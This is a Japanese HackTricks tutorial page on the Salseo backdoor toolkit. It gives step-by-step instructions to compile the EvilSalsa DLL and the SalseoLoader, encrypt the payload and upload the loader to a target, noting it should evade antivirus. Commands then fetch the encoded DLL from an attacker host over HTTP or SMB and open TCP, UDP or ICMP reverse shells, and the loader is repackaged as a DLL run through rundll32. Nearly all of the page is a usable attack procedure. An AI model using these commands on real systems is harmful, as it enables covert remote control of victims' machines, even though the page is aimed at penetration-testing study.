6.8 KiB
Salseo
{{#include ../banners/hacktricks-training.md}}
バイナリのコンパイル
GitHubからソースコードをダウンロードし、EvilSalsaとSalseoLoaderをコンパイルします。コードをコンパイルするにはVisual Studioが必要です。
使用するWindowsボックスのアーキテクチャに合わせてこれらのプロジェクトをコンパイルします(Windowsがx64をサポートしている場合は、そのアーキテクチャ用にコンパイルしてください)。
Visual Studioの左側の「Build」タブの**「Platform Target」でアーキテクチャを選択**できます。
(このオプションが見つからない場合は、「Project Tab」をクリックし、次に「<Project Name> Properties」**をクリックしてください。)
次に、両方のプロジェクトをビルドします(Build -> Build Solution)(ログ内に実行可能ファイルのパスが表示されます):
バックドアの準備
まず、EvilSalsa.dllをエンコードする必要があります。そのためには、Pythonスクリプトencrypterassembly.pyを使用するか、プロジェクトEncrypterAssemblyをコンパイルします。
Python
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
ウィンドウズ
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
わかりました。Salseoのすべてを実行するために必要なものは揃っています: エンコードされた EvilDalsa.dll と SalseoLoader のバイナリ です。
SalseoLoader.exe バイナリをマシンにアップロードしてください。どのAVにも検出されないはずです...
バックドアを実行する
TCP リバースシェルを取得する(HTTP 経由でエンコードされた dll をダウンロードする)
nc をリバースシェルリスナーとして起動し、エンコードされた evilsalsa を提供する HTTP サーバーを起動することを忘れないでください。
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
UDPリバースシェルの取得(SMBを通じてエンコードされたdllをダウンロード)
リバースシェルリスナーとしてncを起動し、エンコードされたevilsalsaを提供するためにSMBサーバーを起動することを忘れないでください。
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
ICMPリバースシェルの取得(被害者の中にエンコードされたdllが既に存在する)
今回は、リバースシェルを受信するためにクライアントに特別なツールが必要です。ダウンロードしてください: https://github.com/inquisb/icmpsh
ICMP応答を無効にする:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
クライアントを実行する:
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
被害者の内部で、salseoのことを実行しましょう:
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
SalseoLoaderをDLLとしてコンパイルし、メイン関数をエクスポートする
Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
メイン関数の前に追加: [DllExport]
このプロジェクトにDllExportをインストールする
ツール --> NuGetパッケージマネージャー --> ソリューションのNuGetパッケージを管理...
DllExportパッケージを検索(ブラウズタブを使用)、インストールを押す(ポップアップを受け入れる)
プロジェクトフォルダーにDllExport.batとDllExport_Configure.batのファイルが表示されます。
Uninstall DllExport
アンインストールを押します(変ですが、信じてください、必要です)
Visual Studioを終了し、DllExport_configureを実行する
Visual Studioを終了します。
次に、SalseoLoaderフォルダーに移動し、DllExport_Configure.batを実行します。
x64を選択します(x64ボックス内で使用する場合、私のケースではそうでした)、System.Runtime.InteropServicesを選択します(DllExportの名前空間内)そして適用を押します。
Visual Studioでプロジェクトを再度開く
**[DllExport]**はもはやエラーとしてマークされていないはずです。
ソリューションをビルドする
出力タイプ = クラスライブラリを選択します(プロジェクト --> SalseoLoaderプロパティ --> アプリケーション --> 出力タイプ = クラスライブラリ)
x64 プラットフォームを選択します(プロジェクト --> SalseoLoaderプロパティ --> ビルド --> プラットフォームターゲット = x64)
ソリューションをビルドするには: ビルド --> ソリューションのビルド(出力コンソール内に新しいDLLのパスが表示されます)
生成されたDllをテストする
テストしたい場所にDllをコピーして貼り付けます。
実行:
rundll32.exe SalseoLoader.dll,main
エラーが表示されない場合、おそらく機能するDLLがあります!!
DLLを使用してシェルを取得する
HTTP サーバーを使用し、nc リスナーを設定することを忘れないでください。
Powershell
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
CMD
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
{{#include ../banners/hacktricks-training.md}}